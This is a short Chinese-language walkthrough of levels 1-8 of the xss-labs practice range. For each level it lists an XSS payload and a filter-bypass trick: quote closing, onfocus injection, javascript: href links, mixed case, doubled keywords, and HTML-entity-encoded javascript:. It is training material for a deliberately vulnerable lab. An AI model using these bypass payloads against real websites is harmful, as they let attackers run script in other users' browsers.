xss-labs靶场1-8

level1

php 复制代码
<script>alert()</script>

level2

闭合绕过

php 复制代码
">  <script>alert()</script>  <"

level3+level4

onfocus事件绕过

php 复制代码
' onfocus=javascript:alert() '


然后再点击输入框触发onfocus事件

level5

有小写字母转化函数,用a href标签法, 前提是闭合号<"">没失效

php 复制代码
"> <a href=javascript:alert()>xxx</a> <"

level6

关键字测试

大小写测试

用大小写法绕过str_replace()函数

php 复制代码
"> <sCript>alert()</sCript> <"

level7

关键字测试

用双拼写绕过

php 复制代码
"> <a hrehreff=javasscriptcript:alert()>x</a> <"

level8

关键字测试

input标签添加了html实体转化函数还把双引号也给实体化了, 添加了小写转化函数,过滤掉了src、data、onfocus、href、script、双引号

利用href的隐藏属性自动Unicode解码,插入一段js伪协议

php 复制代码
javascript:alert()

在线Unicode编码解码

php 复制代码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;
相关推荐
Pota-to成长日记8 分钟前
代码解析:基于时间轴(Timeline)的博客分页查询功能
java
陶甜也16 分钟前
ThreeJS曲线动画:打造炫酷3D路径运动
前端·vue·threejs
楊无好20 分钟前
react中的受控组件与非受控组件
前端·react.js
菠萝+冰22 分钟前
react虚拟滚动
前端·javascript·react.js
塔能物联运维30 分钟前
物联网设备运维中的自动化合规性检查与策略执行机制
java·运维·物联网·struts·自动化
不爱编程的小九九31 分钟前
小九源码-springboot099-基于Springboot的本科实践教学管理系统
java·spring boot·后端
落一落,掉一掉34 分钟前
第十三周前端加密绕过
前端
雨夜之寂39 分钟前
第一章-第二节-Cursor IDE与MCP集成.md
java·后端·架构
即将头秃的程序媛1 小时前
Sa-Token
java
大G的笔记本1 小时前
Spring IOC和AOP
java·后端·spring